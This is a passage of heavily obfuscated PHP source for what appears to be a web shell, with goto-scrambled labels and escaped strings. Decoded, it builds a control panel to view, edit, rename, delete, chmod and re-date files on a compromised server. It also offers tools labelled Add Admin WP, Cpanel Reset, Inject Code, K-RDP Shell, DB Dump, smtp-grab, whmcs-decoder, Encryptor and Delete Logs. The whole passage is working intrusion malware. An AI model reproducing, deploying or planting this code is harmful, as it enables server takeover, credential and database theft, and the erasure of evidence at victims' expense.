x20\x20\56\x73\150\x65\154\154\x2d\160\x72\x6f\155\160\164\x20\76\x20\x73\160\x61\x6e\40\x7b\12\40\x20\x20\x20\40\40\x20\x20\x20\x20\40\x20\40\40\40\40\143\157\x6c\x6f\x72\72\40\43\61\102\103\71\x45\67\73\xa\40\x20\x20\x20\x20\40\x20\x20\40\40\x20\x20\x7d\xa\12\40\x20\40\x20\x20\x20\40\40\40\40\40\x20\x23\163\x68\x65\x6c\154\x2d\151\156\160\165\164\x20\173\xa\40\40\40\40\x20\40\40\x20\40\40\x20\x20\40\x20\40\x20\144\x69\163\160\x6c\141\171\72\x20\x66\154\x65\x78\73\12\40\40\40\40\40\x20\x20\40\40\40\40\x20\x20\40\x20\40\142\x6f\170\55\x73\x68\x61\x64\157\x77\x3a\40\60\x20\x2d\61\160\170\40\60\40\162\147\x62\x61\x28\x30\x2c\40\60\x2c\40\60\x2c\x20\56\x33\51\x3b\xa\x20\x20\40\40\40\x20\40\40\x20\x20\x20\40\40\40\40\x20\x62\157\x72\144\x65\162\x2d\x74\x6f\160\72\40\162\147\142\141\x28\x32\x35\x35\54\x20\x32\65\x35\x2c\40\x32\65\x35\x2c\x20\x2e\x30\x35\51\40\x73\x6f\154\x69\144\40\61\x70\x78\x3b\12\x20\x20\x20\40\40\x20\x20\40\40\x20\x20\40\175\xa\xa\x20\x20\x20\40\40\x20\x20\40\x20\x20\40\40\x23\x73\x68\145\x6c\x6c\x2d\x69\x6e\160\x75\164\40\76\x20\x6c\x61\x62\x65\154\x20\x7b\12\40\40\x20\40\x20\40\x20\40\40\40\x20\x20\40\40\40\40\146\x6c\x65\170\55\x67\162\157\x77\x3a\40\60\73\xa\x20\40\x20\40\x20\40\40\40\40\40\x20\40\40\40\x20\40\144\151\x73\160\154\x61\x79\72\40\x62\x6c\x6f\143\x6b\73\xa\x20\40\40\40\x20\x20\40\x20\x20\x20\x20\x20\40\40\40\x20\160\x61\144\x64\151\x6e\147\72\x20\x30\40\65\x70\170\73\xa\40\40\40\x20\40\40\x20\x20\40\x20\x20\x20\40\40\40\40\150\145\x69\x67\x68\164\72\x20\x33\60\x70\170\x3b\xa\x20\40\40\x20\40\40\40\40\x20\x20\x20\x20\x20\x20\x20\40\x6c\151\x6e\x65\55\150\x65\151\147\x68\164\72\40\x33\60\x70\170\x3b\xa\x20\40\40\x20\40\40\40\40\40\x20\40\x20\x7d\xa\12\40\40\x20\x20\40\x20\40\40\40\40\x20\x20\x23\x73\150\145\x6c\x6c\55\151\x6e\x70\x75\x74\40\43\x73\x68\145\x6c\x6c\x2d\143\155\144\40\173\xa\40\x20\40\40\x20\x20\40\40\40\40\x20\40\40\40\x20\x20\150\145\151\147\150\164\x3a\x20\63\x30\x70\x78\x3b\xa\40\x20\40\40\40\40\x20\40\40\x20\40\x20\x20\x20\40\40\x6c\x69\x6e\145\x2d\x68\x65\151\147\150\164\x3a\40\63\60\160\170\x3b\12\40\x20\x20\40\40\x20\x20\x20\x20\40\x20\x20\x20\40\40\x20\142\x6f\162\144\x65\162\72\x20\x6e\x6f\x6e\145\73\12\x20\x20\40\40\40\x20\x20\40\40\x20\x20\x20\x20\x20\x20\40\x62\141\x63\x6b\147\x72\157\165\x6e\x64\72\x20\164\x72\x61\x6e\163\160\x61\162\145\x6e\x74\x3b\12\40\40\40\40\x20\40\x20\x20\x20\x20\40\40\40\x20\40\40\x66\x6f\x6e\x74\x2d\146\141\155\x69\x6c\171\x3a\x20\155\157\x6e\157\x73\160\x61\143\145\x3b\12\x20\x20\x20\40\x20\40\40\40\40\40\x20\40\40\x20\40\40\x66\157\x6e\x74\x2d\x73\151\172\x65\x3a\x20\x31\60\160\164\x3b\12\40\x20\x20\40\40\x20\40\x20\40\x20\40\40\x20\x20\x20\40\x77\151\x64\x74\150\x3a\x20\x31\x30\60\x25\x3b\xa\40\40\40\40\40\40\x20\40\x20\40\x20\x20\40\x20\40\x20\x61\x6c\x69\147\x6e\55\x73\145\x6c\146\x3a\x20\x63\x65\x6e\164\145\x72\73\12\40\40\40\40\40\x20\40\40\x20\40\40\x20\x7d\12\12\x20\40\40\x20\x20\40\x20\x20\x20\x20\x20\x20\x23\x73\150\145\x6c\154\x2d\x69\156\160\165\164\x20\x64\x69\x76\40\x7b\xa\40\x20\x20\x20\40\x20\40\40\40\40\x20\x20\40\40\x20\40\146\x6c\x65\170\55\x67\x72\157\x77\x3a\40\61\73\12\40\x20\40\x20\40\40\40\40\40\x20\x20\40\x20\40\x20\x20\x61\154\151\x67\x6e\55\151\164\145\x6d\163\72\40\x73\164\x72\145\x74\143\x68\x3b\xa\40\40\40\x20\40\40\x20\x20\x20\40\40\40\x7d\12\xa\40\40\40\40\x20\x20\40\x20\40\40\40\x20\x23\x73\x68\x65\154\x6c\x2d\x69\x6e\x70\x75\164\x20\x69\156\x70\x75\164\x20\x7b\xa\x20\40\40\x20\x20\x20\x20\40\x20\x20\x20\x20\40\40\x20\x20\x6f\x75\164\x6c\x69\156\145\x3a\40\156\x6f\x6e\x65\x3b\12\x20\x20\x20\x20\40\40\x20\x20\x20\x20\x20\40\175\xa\x20\x20\x20\x20\x20\40\x20\x20\x3c\x2f\163\x74\x79\154\145\76\xa\11\74\57\x68\x65\x61\144\76\xa\x9\xa\xa\xa\11\74\x62\157\144\x79\76\xa\xa\x9\x9\xa\xa\11\x9\x3c\x64\x69\166\40\143\x6c\141\x73\x73\75\x22\x63\x6f\x6e\164\x61\151\156\x65\x72\x22\76\xa\12\11\x9\11\x3c\x6e\141\166\x20\x63\154\141\163\x73\x3d\42\156\141\x76\x62\141\x72\40\156\141\x76\142\141\162\55\x65\x78\x70\x61\x6e\144\x2d\154\x67\40\156\x61\x76\x62\x61\x72\55\154\x69\x67\150\164\x20\x62\x67\55\154\151\147\x68\164\x22\x20\163\x74\171\x6c\145\75\x22\155\141\162\147\x69\x6e\x2d\164\157\x70\x3a\x20\61\x30\160\x78\x3b\x22\76"; goto BrFla; lzncn: $freespace = hdd(disk_free_space("\57")); goto MdIfG; odYGc: $b_ = "\x3c\57\x74\150\76\12\11\x9\x9\x9\x9\x9\x9\74\x2f\164\x72\76\12\11\11\x9\11\11\x9\74\x2f\164\150\145\141\144\x3e\xa\11\x9\11\11\x9\11\74\x74\x62\157\x64\171\x3e\12\11\11\x9\x9\x9\x9\x9\x3c\x74\x72\76\xa\x9\x9\11\11\x9\11\x9\x9\74\x74\144\x3e\x3c\57\x74\x64\76\xa\11\11\11\11\11\x9\11\x3c\x2f\164\162\76\xa\x9\x9\x9\x9\x9\11\x9\74\x74\x72\76\12\11\11\x9\x9\x9\11\x9\11\74\x74\144\x20\143\x6c\x61\x73\163\x3d\x22\x78\42\76"; goto Nn3QI; tb_SJ: function AutomenU($d) { echo "\74\x68\x72\x3e\x3c\143\145\x6e\164\145\162\x3e\74\150\x32\76\124\157\157\x6c\x73\x20\131\x20\74\57\x68\62\76\x3c\x62\162\76\xa\11\11\11\11\11\x3c\x74\x61\x62\154\x65\40\163\164\171\x6c\x65\75\x22\x77\x69\x64\164\150\x3a\71\x30\x25\42\76\xa\11\11\x9\x9\x9\x20\40\x3c\x74\x72\x3e\xa\11\x9\11\x9\x9\40\40\x20\40\74\x74\144\76\x3c\x61\40\x63\154\x61\163\163\40\75\40\42\x66\157\162\x6d\x2d\x63\157\156\164\x72\x6f\x6c\40\141\x6a\170\42\x20\150\162\145\146\40\x3d\x20\77\x64\75" . hex($d) . "\x26" . hex("\x4c\157\143\153\x64\157\x77\156") . "\76\74\143\145\x6e\x74\x65\x72\x3e\114\x6f\143\153\x64\x6f\x77\156\74\x2f\143\x65\x6e\x74\145\162\x3e\74\x2f\x61\x3e\74\x2f\x74\x64\76\xa\x9\x9\x9\11\x9\40\x20\40\x20\74\164\x64\76\x3c\141\40\143\x6c\141\x73\x73\x20\x3d\x20\x22\x66\157\x72\x6d\55\x63\157\156\164\162\157\154\x20\x61\152\x78\x22\x20\150\162\145\146\x20\x3d\40\77\144\x3d" . hex($d) . "\46" . hex("\143\162\x6f\156\164\x61\x62") . "\x3e\74\143\x65\x6e\164\145\162\x3e\x43\162\x6f\x6e\x74\141\142\x3c\x2f\143\145\156\x74\145\x72\x3e\x3c\57\141\76\74\x2f\x74\x64\76\12\x9\11\11\11\11\40\x20\x20\x20\x3c\x74\144\x3e\x3c\141\40\143\154\x61\x73\163\x20\x3d\x20\x22\x66\x6f\162\x6d\x2d\143\x6f\156\x74\x72\x6f\154\40\x61\152\x78\42\x20\x68\x72\x65\x66\40\75\x20\77\144\x3d" . hex($d) . "\x26" . hex("\152\x75\155\160\151\x6e\x67") . "\76\74\x63\145\x6e\x74\145\x72\76\x4a\165\155\x70\x69\x6e\x67\x3c\57\143\145\x6e\x74\x65\x72\x3e\74\57\141\x3e\x3c\57\164\x64\76\x9\12\x9\x9\x9\x9\11\40\x20\x20\40\74\x74\x64\76\x3c\x61\40\143\x6c\141\163\x73\x20\75\40\42\x66\x6f\x72\155\55\143\157\x6e\x74\162\157\x6c\x20\141\x6a\170\42\40\x68\162\145\x66\40\75\x20\x3f\x64\x3d" . hex($d) . "\46" . hex("\x45\x4e\103") . "\x3e\74\x63\x65\x6e\x74\145\162\76\x45\x6e\143\162\171\160\x74\x6f\x72\x3c\57\x63\x65\156\164\145\x72\76\x3c\x2f\141\76\74\x2f\164\x64\x3e\11\12\x9\11\11\x9\11\40\x20\40\40\x3c\x74\x64\x3e\x3c\141\40\x63\x6c\141\x73\x73\40\75\x20\x22\x66\157\162\x6d\x2d\x63\157\x6e\x74\162\157\x6c\x20\141\x6a\x78\42\x20\x68\162\145\146\x20\x3d\40\77\144\75" . hex($d) . "\46" . hex("\146\157\157\164\x65\162") . "\x3e\x3c\143\x65\156\164\x65\162\x3e\x49\156\x6a\145\x63\164\102\x4c\x9\x3c\57\143\145\156\x74\145\162\76\74\x2f\141\76\x3c\57\164\144\76\xa\x9\11\11\x9\x9\x3c\57\x74\x72\76\xa\11\x9\11\x9\11\74\164\x72\x3e\12\x9\11\11\11\11\x20\x20\40\x20\74\164\144\76\74\141\40\x63\154\x61\163\x73\40\x3d\x20\x22\146\157\162\x6d\x2d\x63\x6f\x6e\164\162\157\x6c\40\141\152\x78\x22\40\150\162\145\x66\40\x3d\x20\77\144\x3d" . hex($d) . "\46" . hex("\x61\x64\144\165\x73\145\162\x77\160") . "\76\74\143\x65\156\x74\145\x72\76\101\144\x64\40\101\x64\x6d\151\156\x20\x57\x50\x3c\57\x63\145\156\x74\x65\x72\x3e\74\x2f\141\x3e\74\x2f\x74\x64\x3e\xa\11\11\x9\x9\x9\40\x20\40\40\74\164\144\76\74\141\x20\x63\154\141\163\163\x20\75\40\x22\146\157\162\155\x2d\143\x6f\156\x74\x72\157\x6c\x20\141\152\x78\42\40\x68\x72\145\x66\40\75\x20\x3f\144\x3d" . hex($d) . "\x26" . hex("\143\160\141\x6e\145\154\x2d\162\x65\163\145\x74") . "\76\74\143\145\156\x74\145\x72\x3e\103\x70\x61\x6e\x65\x6c\40\x52\x65\x73\145\x74\74\57\x63\x65\156\x74\x65\x72\76\74\x2f\x61\x3e\x3c\x2f\x74\144\x3e\xa\11\x9\11\x9\x9\40\40\40\40\x3c\x74\144\76\x3c\x61\40\143\x6c\x61\x73\163\40\75\x20\42\x66\157\x72\155\55\143\157\156\x74\162\x6f\154\40\x61\x6a\x78\42\40\x68\162\145\x66\40\75\x20\77\x64\x3d" . hex($d) . "\x26" . hex("\172\x69\160\x2d\155\x65\156\x75") . "\76\74\143\x65\156\x74\145\x72\x3e\x5a\x69\x70\x20\115\x65\x6e\x75\74\57\143\x65\x6e\x74\145\x72\76\x3c\x2f\141\x3e\74\57\x74\144\76\xa\x9\x9\x9\11\11\x20\40\40\x20\x3c\x74\144\x3e\74\x61\40\x63\154\141\x73\x73\40\x3d\40\42\x66\157\162\x6d\x2d\143\x6f\x6e\x74\162\x6f\154\x20\x61\x6a\170\x22\x20\150\162\145\x66\x20\75\40\77\144\75" . hex($d) . "\x26" . hex("\x69\156\x6a\x65\143\164\55\143\157\x64\x65") . "\x3e\74\143\145\156\x74\145\x72\x3e\111\156\x6a\x65\x63\x74\40\103\157\144\145\x3c\57\143\x65\x6e\164\x65\x72\76\x3c\57\141\x3e\x3c\x2f\x74\144\76\12\11\x9\x9\x9\x9\x20\40\40\40\x3c\164\144\76\74\x61\40\x63\x6c\141\163\x73\40\x3d\x20\x22\x66\157\162\155\x2d\x63\157\156\164\x72\157\x6c\40\x61\x6a\x78\x22\x20\x68\162\x65\x66\40\75\40\77\144\75" . hex($d) . "\46" . hex("\162\144\160") . "\x3e\x3c\x63\145\x6e\x74\145\162\76\x4b\x2d\122\104\120\40\x53\150\145\154\154\x3c\x2f\x63\x65\156\x74\x65\x72\76\74\x2f\141\76\x3c\57\164\x64\76\xa\11\11\11\11\11\74\x2f\x74\162\76\xa\11\11\11\x9\x9\74\164\162\x3e\12\11\x9\x9\11\11\x20\x20\40\40\x3c\x74\144\x3e\74\141\40\x63\x6c\x61\x73\x73\40\x3d\40\42\x66\157\x72\155\x2d\x63\157\x6e\x74\162\157\154\x20\x61\152\x78\42\x20\x68\162\145\x66\40\x3d\40\77\144\x3d" . hex($d) . "\46" . hex("\144\142\55\144\165\x6d\x70") . "\76\74\143\145\x6e\x74\145\162\x3e\104\102\x20\x44\165\155\160\74\x2f\x63\x65\x6e\164\145\x72\76\74\57\x61\x3e\74\x2f\x74\x64\76\xa\x9\11\11\x9\x9\40\x20\40\x20\74\x74\144\76\74\x61\x20\143\154\141\x73\x73\40\75\x20\x22\x66\157\162\x6d\55\143\157\x6e\x74\162\x6f\154\40\141\x6a\170\42\x20\150\162\145\x66\x20\75\40\77\x64\x3d" . hex($d) . "\x26" . hex("\163\155\x74\x70\x2d\x67\x72\141\142") . "\x3e\x3c\143\145\x6e\164\145\x72\76\x23\x23\43\43\74\57\x63\x65\x6e\x74\145\162\76\74\57\141\x3e\x3c\x2f\164\x64\76\x9\xa\11\x9\x9\x9\11\x20\x20\40\40\x3c\x74\144\x3e\74\x61\40\x63\154\141\163\x73\40\75\x20\42\146\x6f\x72\155\x2d\143\x6f\156\164\x72\x6f\x6c\x20\141\152\x78\42\40\x68\162\x65\146\40\75\x20\77\144\x3d" . hex($d) . "\46" . hex("\x64\157\155\x61\x69\x6e\x73") . "\x3e\x3c\143\145\156\164\145\x72\76\x23\43\43\x23\x3c\x2f\143\x65\156\164\x65\x72\76\74\x2f\x61\x3e\74\57\164\144\x3e\12\x9\11\x9\x9\11\40\40\x20\x20\74\x74\144\x3e\74\x61\x20\x63\x6c\x61\x73\163\40\x3d\x20\x22\146\x6f\x72\155\x2d\x63\157\156\x74\x72\x6f\154\x20\141\152\x78\42\x20\x68\x72\145\146\40\75\40\x3f\x64\x3d" . hex($d) . "\46" . hex("\167\x68\x6d\x63\x73\x2d\x64\x65\x63\157\x64\x65\162") . "\x3e\74\x63\x65\156\x74\145\162\76\x23\43\x23\x23\x3c\x2f\x63\145\156\164\145\162\76\x3c\57\141\76\x3c\57\x74\144\76\11\12\11\11\11\x9\x9\40\40\40\40\74\164\144\x3e\74\x61\x20\143\x6c\x61\163\x73\x20\x3d\x20\42\x66\x6f\x72\x6d\55\143\x6f\156\164\162\x6f\154\x20\x61\152\x78\42\x20\150\x72\145\x66\x20\x3d\x20\77\x64\x3d" . hex($d) . "\x26" . hex("\144\145\154\145\x74\145\x2d\x6c\157\147\163") . "\76\74\143\145\x6e\x74\x65\x72\x3e\104\x65\x6c\x65\164\145\x20\x4c\157\147\x73\74\57\143\x65\x6e\x74\145\x72\x3e\74\x2f\141\76\74\x2f\x74\144\x3e\xa\x9\11\x9\x9\x9\74\57\164\162\76\12\11\11\x9\11\11\x3c\x2f\x74\141\142\x6c\x65\76\xa\11\x9\x9\x9\11\74\x62\162\76\x3c\150\x72\x3e"; } goto FKOvX; lfk_S: $g = $o_[0] . "\106\x61\x69\x6c\145\144\x21" . $o_[1]; goto hnU8n; Pen0r: $sm = @ini_get(strtolower("\163\141\x66\145\137\155\x6f\144\145")) == "\157\156" ? "\x4f\116" : "\x4f\106\x46"; goto LNug0; Y12Fi: echo "\x20\133\x3c\141\x20\150\x72\145\146\x3d\42\57\x2f" . $fullx . "\x2f\x22\40\164\141\x72\x67\145\164\75\42\137\142\x6c\x61\156\153\x22\x3e\114\74\57\141\x3e\x5d"; goto udFhs; OllkR: ini_set("\144\x69\163\160\x6c\x61\171\x5f\145\x72\x72\157\162\163", 0); goto gPpbf; z4F2U: if (isset($_GET["\163"])) { $checkfx = $d . DIRECTORY_SEPARATOR . uhex($_GET["\163"]); if (file_exists($checkfx)) { echo $a_ . "\74\x68\x32\x3e\126\x69\x65\x77\151\x6e\147\40" . uhex($_GET["\163"]) . "\x3c\57\150\x32\x3e\x50\x61\164\x68\72\x20\x3c\143\157\x64\145\76" . $d . DIRECTORY_SEPARATOR . uhex($_GET["\163"]) . "\74\x2f\143\x6f\144\145\76\x20\x2d\x20\x4c\151\x6e\153\x3a\40\x3c\x61\x20\x68\162\145\146\75\x22\57\57" . $fullx . "\x2f" . uhex($_GET["\163"]) . "\42\40\x74\141\162\147\145\164\x3d\x22\137\x62\x6c\x61\x6e\x6b\x22\x3e" . $fullx . "\x2f" . uhex($_GET["\x73"]) . "\74\57\141\x3e" . $b_; echo "\xa\11\x9\x9\x9\x9\x9\11\11\11\x9\x9\11\74\144\x69\166\x20\143\x6c\141\x73\x73\75\x22\151\x6e\154\x69\156\145\42\x3e\12\x9\11\11\x9\x9\x9\11\x9\11\74\151\x6e\x70\x75\164\x20\x6f\x6e\143\154\151\143\153\75\x22\154\x6f\x63\x61\164\x69\157\x6e\x2e\150\x72\x65\x66\x3d\47\x3f\x64\75" . $_GET["\x64"] . "\x26\145\75" . $_GET["\x73"] . "\x27\x22\x20\164\x79\160\x65\x3d\42\x73\165\142\155\151\164\x22\x20\143\x6c\141\x73\163\x3d\x22\x66\157\x72\x6d\x2d\143\x6f\156\x74\162\157\x6c\40\143\157\154\55\x6d\144\55\62\x22\40\166\141\x6c\165\145\75\x22\x26\x6e\x62\x73\x70\x3b\105\x44\111\124\x26\156\142\163\160\73\x22\40\57\x3e\40\12\11\11\x9\11\11\11\x9\x9\11\x3c\x69\x6e\x70\x75\x74\40\x6f\x6e\143\x6c\151\143\x6b\75\42\x6c\x6f\143\141\x74\x69\157\x6e\56\x68\x72\x65\x66\75\47\77\144\x3d" . $_GET["\x64"] . "\x26\x72\x3d" . $_GET["\x73"] . "\47\x22\x20\164\171\x70\x65\x3d\42\163\165\142\x6d\151\164\x22\40\143\x6c\141\x73\x73\x3d\x22\x66\x6f\x72\155\55\143\x6f\156\x74\162\x6f\x6c\x20\143\x6f\x6c\55\155\144\x2d\62\x22\x20\x76\141\x6c\165\145\75\x22\x26\156\x62\x73\x70\73\122\105\x4e\x41\115\105\x26\156\142\x73\x70\x3b\x22\x20\57\x3e\40\xa\11\11\11\x9\x9\11\x9\x9\11\74\x69\x6e\160\x75\x74\40\x6f\x6e\143\154\151\143\x6b\x3d\42\x6c\x6f\x63\x61\x74\151\x6f\x6e\56\150\162\x65\x66\x3d\x27\77\x64\x3d" . $_GET["\x64"] . "\x26\x78\x3d" . $_GET["\x73"] . "\x27\x22\40\x74\171\x70\145\75\x22\x73\165\142\155\151\x74\42\x20\143\x6c\141\163\x73\x3d\42\146\x6f\162\x6d\55\143\157\x6e\x74\x72\x6f\x6c\40\x63\x6f\154\x2d\x6d\x64\x2d\x32\42\40\x76\x61\x6c\x75\145\75\42\x26\x6e\x62\x73\x70\73\104\x45\114\105\124\x45\x26\156\x62\163\x70\73\42\40\x2f\76\12\x9\x9\11\11\x9\11\11\11\11\x3c\x69\156\160\x75\x74\40\157\x6e\x63\154\151\143\x6b\75\x22\x6c\x6f\143\141\164\x69\x6f\156\x2e\x68\x72\x65\x66\x3d\47\77\x64\x3d" . $_GET["\144"] . "\x26\164\75" . $_GET["\163"] . "\47\42\40\164\x79\x70\145\x3d\42\163\165\142\155\x69\164\42\x20\x63\154\x61\x73\163\x3d\42\x66\157\x72\x6d\55\x63\157\156\164\x72\x6f\154\x20\x63\157\154\x2d\155\144\55\x32\x22\40\x76\141\x6c\165\x65\75\x22\46\x6e\142\163\160\x3b\107\x41\116\124\111\40\x54\x41\x4e\x47\107\101\x4c\46\x6e\142\x73\x70\x3b\x22\x20\x2f\76\x20\12\x9\11\11\11\11\11\11\11\11\x3c\151\156\160\x75\164\x20\157\x6e\x63\x6c\x69\143\153\75\x22\x6c\x6f\x63\141\x74\x69\x6f\156\x2e\150\162\x65\x66\x3d\47\77\144\75" . $_GET["\144"] . "\x26\153\x3d" . $_GET["\163"] . "\x27\x22\40\x74\171\160\145\x3d\42\163\165\142\155\x69\x74\42\40\143\154\x61\x73\x73\75\x22\x66\157\x72\155\x2d\x63\x6f\156\164\162\x6f\154\40\143\157\154\x2d\x6d\144\55\62\42\40\166\x61\x6c\165\145\x3d\x22\x26\156\x62\x73\x70\73\x43\110\x4d\117\104\x26\x6e\142\163\160\73\x22\x20\x2f\76\x20\xa\11\11\11\11\x9\x9\11\11\x9\74\151\x6e\x70\x75\164\x20\x6f\156\143\x6c\151\143\153\x3d\42\x6c\157\x63\141\164\x69\157\x6e\x2e\x68\162\145\146\x3d\x27\77\144\75" . $_GET["\x64"] . "\x26\x73\75" . $_GET["\x73"] . "\x27\x22\x20\x74\x79\x70\145\75\x22\x73\165\x62\x6d\151\164\x22\x20\143\154\141\x73\x73\75\x22\x66\x6f\162\155\x2d\143\x6f\x6e\164\x72\157\154\x20\x63\x6f\154\x2d\155\144\x2d\62\42\x20\166\141\x6c\165\145\x3d\x22\x26\156\142\x73\160\x3b\126\111\105\127\46\156\x62\x73\160\x3b\42\40\x2f\x3e\x20\xa\x9\x9\11\x9\11\x9\11\x9\11\74\x2f\x64\x69\x76\x3e\12\x9\11\x9\x9\11\11\x9\11\x9\74\x74\x65\x78\x74\141\162\x65\x61\40\162\145\141\144\157\x6e\154\171\x20\x63\154\x61\x73\x73\x20\x3d\x20\42\x66\157\x72\155\x2d\x63\157\156\164\x72\x6f\x6c\x22\x3e" . $GNJ[15]($GNJ[6](uhex($_GET["\163"]))) . "\x3c\x2f\164\145\x78\x74\x61\x72\145\141\76\xa\x9\11\x9\11\x9\x9\x9\x9\11\74\x62\162\40\57\x3e\xa\x9\x9\x9\11\11\11\11\11\11\74\x62\162\40\x2f\x3e\xa\12\11\x9\11\11\11\x9\x9\11" . $c_; printf("\74\x64\151\166\40\x63\x6c\x61\x73\163\75\47\144\x69\x76\151\x64\x65\x20\164\x61\142\154\x65\x20\164\x61\142\x6c\x65\55\x62\x6f\x72\144\145\x72\145\x64\40\x6d\164\55\x33\40\x68\157\x76\x65\162\124\141\142\154\x65\47\x3e\xa\x9\x9\11\x9\x3c\x64\151\166\x20\143\x6c\x61\163\x73\75\x27\x64\151\x76\151\144\x65\x2d\154\145\146\164\47\76\xa\11\11\x9\11\11\74\164\141\x62\154\x65\x20\x63\x6c\x61\163\163\75\47\164\141\x62\x6c\x65\40\x74\x61\142\x6c\x65\x2d\142\157\162\x64\145\162\145\x64\x20\x6d\x74\x2d\63\x20\150\x6f\x76\145\162\x54\x61\x62\154\x65\47\76\xa\x9\11\11\x9\x9\x9\x3c\164\162\76\x3c\x74\144\x3e\123\x69\172\145\x3c\57\x74\144\x3e\x3c\x74\144\76\45\163\x3c\x2f\164\144\76\74\57\164\x72\x3e\xa\11\x9\11\x9\11\x9\x3c\x74\162\76\74\x74\x64\x3e\120\x65\x72\x6d\x69\163\x73\x69\157\x6e\x3c\x2f\x74\144\76\x3c\164\144\76\45\163\74\57\164\x64\x3e\x3c\57\x74\162\76\12\11\11\11\11\x9\x9\74\x74\162\x3e\74\x74\x64\76\103\x72\145\x61\164\145\40\x74\151\155\145\74\57\164\x64\76\x3c\164\x64\x3e\45\163\x3c\x2f\x74\x64\x3e\x3c\x2f\164\162\76\xa\x9\x9\11\x9\x9\11\74\x74\162\76\x3c\x74\144\76\114\x61\163\164\x20\x6d\x6f\144\151\146\151\x65\144\74\x2f\164\144\76\74\164\x64\76\x25\x73\x3c\57\164\144\x3e\x3c\57\164\x72\76\12\x9\x9\x9\x9\x9\11\74\164\x72\x3e\x3c\164\x64\76\114\141\x73\164\40\141\143\143\145\x73\163\x65\144\x3c\x2f\x74\144\x3e\74\164\x64\x3e\x25\163\x3c\x2f\x74\144\x3e\74\x2f\164\x72\76\xa\11\11\11\11\11\x3c\x2f\164\141\142\x6c\x65\x3e\12\x9\x9\11\11\74\57\x64\x69\x76\x3e\12\11\x9\x9\x9\74\x64\151\166\40\x63\x6c\x61\163\163\x3d\47\144\x69\x76\x69\144\145\x2d\x72\x69\147\x68\164\47\76\12\x9\11\x9\11\11\74\164\141\142\x6c\x65\x20\143\154\141\163\163\x3d\47\164\141\x62\154\145\40\164\141\142\154\x65\55\142\x6f\x72\144\x65\162\x65\144\x20\155\x74\55\63\x20\150\157\x76\x65\x72\x54\x61\142\154\x65\x27\x3e\12\11\11\11\11\11\11\74\164\162\x3e\x3c\164\x64\76\x4d\111\x4d\105\74\x2f\164\x64\76\x3c\164\144\x3e\106\x69\154\145\x3c\x2f\164\x64\76\x3c\57\164\x72\76\12\x9\11\x9\x9\11\11\x3c\x74\x72\76\74\164\144\76\117\x77\156\x65\x72\x2f\x47\162\x6f\165\x70\74\57\164\x64\x3e\x3c\x74\144\x3e\x25\x73\74\57\164\144\x3e\74\57\164\x72\76\12\11\x9\x9\11\x9\11\x3c\164\162\x3e\x3c\164\x64\76\x4d\x44\65\74\x2f\x74\x64\76\74\164\x64\x3e\x25\x73\74\57\x74\x64\76\74\57\164\162\x3e\xa\x9\11\x9\11\11\11\x3c\x74\162\x3e\74\x74\144\76\123\110\x41\61\74\x2f\164\x64\x3e\74\164\x64\x3e\45\x73\74\x2f\x74\144\x3e\74\57\x74\162\x3e\12\x9\11\x9\11\11\x9\74\164\162\76\x3c\164\144\x3e\120\x61\x74\150\x3c\x2f\x74\x64\x3e\74\164\x64\76\45\163\74\x2f\x74\144\76\x3c\57\x74\162\x3e\xa\x9\11\x9\11\x9\11\xa\11\x9\11\x9\x9\74\x2f\x74\141\142\x6c\145\76\xa\x9\x9\11\x9\x3c\x2f\x64\x69\166\x3e\12\x9\11\x9\74\x2f\144\151\166\76", GetFileSize(@filesize($checkfx)), GetFilePerm($checkfx), GetFileTime($checkfx, "\x63\162\x65\x61\164\x65"), GetFileTime($checkfx, "\x6d\157\144\x69\146\x79"), GetFileTime($checkfx, "\x61\x63\x63\x65\163\x73"), GetFileOwnerGroup($checkfx), @md5_file($checkfx), @sha1_file($checkfx), realpath($checkfx)); } else { echo "\x3c\x68\61\x3e\106\111\114\105\x20\x4e\117\124\x20\105\130\111\123\124\41\x3c\x2f\x68\61\76"; } } elseif (isset($_GET["\171"])) { echo $a_ . "\122\105\x51\x55\x45\123\124" . $b_ . "\xa\x9\x9\x9\11\x9\11\x9\x9\11\74\146\157\162\x6d\40\x6d\x65\x74\150\157\x64\x3d\42\160\157\163\164\42\x3e\xa\11\11\11\x9\11\11\x9\x9\11\x9\x3c\151\156\160\x75\x74\x20\x63\x6c\x61\163\163\75\42\146\x6f\x72\x6d\x2d\143\x6f\x6e\164\x72\x6f\154\40\x6d\x64\55\63\42\40\x74\x79\x70\145\x3d\42\x74\x65\x78\x74\42\40\156\141\155\145\75\x22\x31\42\40\x61\165\164\157\143\x6f\155\x70\x6c\145\x74\145\x3d\x22\x6f\146\146\42\40\x2f\x3e\46\156\142\163\160\73\46\x6e\142\x73\x70\73\xa\11\x9\x9\11\x9\11\11\x9\x9\11\74\x69\156\160\x75\x74\x20\x63\154\141\x73\x73\75\42\x66\x6f\162\x6d\55\x63\157\156\164\162\x6f\154\x20\x6d\144\x2d\x33\42\x20\x74\171\x70\145\x3d\42\x74\x65\170\x74\42\40\x6e\x61\x6d\145\75\42\x32\42\40\x61\x75\164\x6f\143\x6f\155\160\x6c\145\x74\x65\75\42\x6f\146\x66\42\x20\57\76\12\x9\x9\x9\11\11\x9\11\x9\11\x9" . $d_ . "\xa\11\11\x9\11\x9\x9\x9\11\11\x3c\142\x72\x20\x2f\x3e\xa\11\x9\x9\x9\11\11\x9\11\11\x3c\164\145\170\x74\141\x72\145\141\40\x72\x65\x61\144\x6f\x6e\x6c\x79\x20\x63\x6c\141\x73\x73\x20\x3d\40\x22\146\x6f\162\x6d\x2d\x63\x6f\156\x74\162\157\154\42\76"; if (isset($_POST["\62"])) { echo $GNJ[15](dre($_POST["\x31"], $_POST["\62"])); } echo "\74\57\x74\x65\x78\164\x61\x72\145\141\x3e\12\11\x9\x9\x9\11\x9\x9\11" . $c_; } elseif (isset($_GET["\145"])) { $checkfx = $d . DIRECTORY_SEPARATOR . uhex($_GET["\145"]); if (file_exists($checkfx)) { if (!is_writable($checkfx)) { $satinggaWR = "\x3c\150\x32\x20\x73\164\x79\x6c\x65\x3d\x22\x63\157\154\x6f\x72\x3a\40\162\145\x64\73\x22\76\x45\144\x69\x74\151\x6e\x67\x20" . uhex($_GET["\145"]) . "\x20\50\116\x6f\164\40\127\162\151\164\x61\142\x6c\145\51\x3c\57\150\62\x3e"; } else { $satinggaWR = "\74\x68\62\40\x73\164\x79\x6c\x65\75\42\x63\x6f\x6c\157\x72\72\40\x67\162\145\x65\156\73\42\76\x45\x64\x69\x74\151\x6e\147\x20" . uhex($_GET["\145"]) . "\x20\x28\x57\162\x69\x74\x61\x62\x6c\145\51\74\57\x68\x32\x3e"; echo $a_ . "\40" . $satinggaWR . "\120\141\164\x68\72\40\74\x63\x6f\x64\x65\76" . $checkfx . 